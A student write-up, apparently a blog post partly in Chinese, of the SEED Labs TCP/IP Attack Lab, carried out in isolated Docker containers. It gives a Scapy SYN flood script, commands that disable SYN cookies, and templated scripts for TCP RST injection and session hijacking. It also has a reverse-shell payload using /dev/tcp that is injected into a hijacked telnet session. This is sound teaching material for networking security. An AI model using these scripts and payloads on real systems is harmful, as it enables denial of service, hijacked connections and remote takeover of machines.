SEED Labs – TCP/IP Attack Lab

Container Setup and Commands

Download the Labsetup.zip file to your VM from the lab’s website, unzip it, enter the Labsetup folder.

$ docker-compose build  # Build the container image
$ docker-compose up     # Start the container
$ docker-compose down   # Shut down the container

// Aliases for the Compose commands above
$ dcbuild
$ dcup
$ dcdown
# Alias for: docker-compose build
# Alias for: docker-compose up
# Alias for: docker-compose down
$ dockps        // Alias for: docker ps --format "{{.ID}}  {{.Names}}"
$ docksh <id>   // Alias for: docker exec -it <id> /bin/bash

$ dockps
b1004832e275  hostA-10.9.0.5
0af4ea7a3e2e  hostB-10.9.0.6
9652715c8e0a  hostC-10.9.0.7

// The following example shows how to get a shell inside hostC
$ docksh 96
root@9652715c8e0a:/#

Task 1: SYN Flooding Attack

TCP SYN Flood攻击就是一种Dos攻击方式,利用的是在短时间内与Server建立多个TCP的半连接(未发送ACK数据包),因此Server在没有防御措施的情况下都会接收并建立连接等待ACK数据包。
在这里插入图片描述
抵御该模式的方式就是TCP cookies,在完成三次握手之前不会为任何一个连接分配资源。

(1)查看泛洪攻击前被攻击主机上的TCP链接的状态;
在这里插入图片描述

(2)关闭SYN Cookie,发起SYN泛洪攻击;

$ sysctl -a | grep syncookies     #Display the SYN cookie flag)
$ sysctl -w net.ipv4.tcp_syncookies=0 #turn off SYN cookie)
$ sysctl -w net.ipv4.tcp_syncookies=1 #turn on  SYN cookie)
from scapy.all import IP, TCP, send
from ipaddress import IPv4Address
from random import getrandbits
ip  = IP(dst="*.*.*.*")
tcp = TCP(dport=**, flags=’S’)
pkt = ip/tcp
while True:
pkt[IP].src    = str(IPv4Address(getrandbits(32)))  # source iP
pkt[TCP].sport = getrandbits(16)     # source port
pkt[TCP].seq   = getrandbits(32)     # sequence number
send(pkt, verbose = 0)

在这里插入图片描述

(3)向受害机发起telnet连接,查看出现的情况;
在这里插入图片描述

(4)查看泛洪攻击后被攻击主机上的TCP链接的状态;
在这里插入图片描述(5)在观察机上用Wireshark查看攻击机和受害机之间通信的数据包的情况;
在这里插入图片描述

(6)启动SYN Cookie后,再次发起泛洪攻击;
在这里插入图片描述

(7)再次向受害机发起telnet连接,查看出现的情况。
在这里插入图片描述

Task 2: TCP RST Attacks on telnet Connections

TCP的reset以及会话劫持攻击都是在已经建立的连接的基础上,通过嗅探到seq以及ack序列号以及相关信息从而伪造数据包,破坏连接。

(1)把第一个步骤的3个虚拟机分别作为客户机、服务器和攻击机;
在这里插入图片描述

(2)客户机用Telnet连接服务器;
在这里插入图片描述

(3)在攻击机上用Python代码分别发起对服务器复位攻击,并查看客户机上的telnet的连接情况。

由于docker中没有vim,可以在主机的volumes文件中创建编写python文件;或者在docker中安装vim

#安装vim
Apt-get update
Apt-get install vim
#!/usr/bin/env python3
from scapy.all import *
ip  = IP(src="@@@@", dst="@@@@")
tcp = TCP(sport=54256, dport=23, flags="R", seq=@@@@, ack=@@@@)
pkt = ip/tcp
ls(pkt)
send(pkt,verbose=0)

flags字段:
F : FIN - 结束; 结束会话
S : SYN - 同步; 表示开始会话请求
R : RST - 复位;中断一个连接
P : PUSH - 推送; 数据包立即发送
A : ACK - 应答
在这里插入图片描述

Task 3: TCP Session Hijacking

在这里插入图片描述

(1)把第一个步骤的3个虚拟机分别作为客户机、服务器和攻击机;
服务器:user1
在这里插入图片描述

(2)在服务器上创建一个文件“new.txt”,这个文件将会在后续的会话劫持攻击中被删除;
在这里插入图片描述

(3)在客户机上telnet服务器,查看刚才创建的文件“new.txt”;
客户机:user2
在这里插入图片描述

(4)在攻击机上用Python代码发起会话劫持攻击,删除服务器上的“new.txt”;

#!/usr/bin/env python3
from scapy.all import *
ip  = IP(src="@@@@", dst="@@@@")
tcp = TCP(sport=@@@@, dport=@@@@, flags="@@@@", seq=@@@@, ack=@@@@)
data = "@@@@"
pkt = ip/tcp/data
ls(pkt)
send(pkt,verbose=0)

在这里插入图片描述

new.txt文件已经被删除:
在这里插入图片描述

(5)在客户机上使用刚才连接的telnet,看看有什么情况,并请说明原因。
在这里插入图片描述

会话被劫持后,原来的用户无法继续操作,无法发出或者接受信息,也无法退出。因为终端失去了正确的ack与seq。

Task 4: Creating Reverse Shell using TCP Session Hijacking

反向shell,即是攻击者通过nc建立一个tcp server,然后在会话劫持的基础上,可以让受害者执行命令把shell通过nc的端口反弹回攻击者的主机中,从而拿到了受害者机器的执行权限。

首先在Attacker中开启监听9090端口,从Server中反射回的shell会通过9090端口返回回来。

此处nc命令的使用是表示在Attacker中开启的是9090端口,也就是相当于启动了一个tcp服务,此服务监听了从9090端口输入进来的内容。

(1)把第一个步骤的3个虚拟机分别作为客户机、服务器和攻击机;
在这里插入图片描述

(2)在客户机上telent服务器;
在这里插入图片描述

(3)在攻击机上使用Python代码对服务器发起TCP的会话劫持攻击来创建“Reverse Shell”;

#!/usr/bin/env python3
from scapy.all import *
ip  = IP(src="@@@@", dst="@@@@")
tcp = TCP(sport=@@@@, dport=@@@@, flags="@@@@", seq=@@@@, ack=@@@@)
data = "@@@@"
pkt = ip/tcp/data
ls(pkt)
send(pkt,verbose=0)
#data
#创建反向shell
\r/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1\n\x00

在这里插入图片描述

(4)在攻击机上通过ifconfig命令查看是否成功创建“Reverse Shell”;
在这里插入图片描述

在这里插入图片描述

  • 0
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值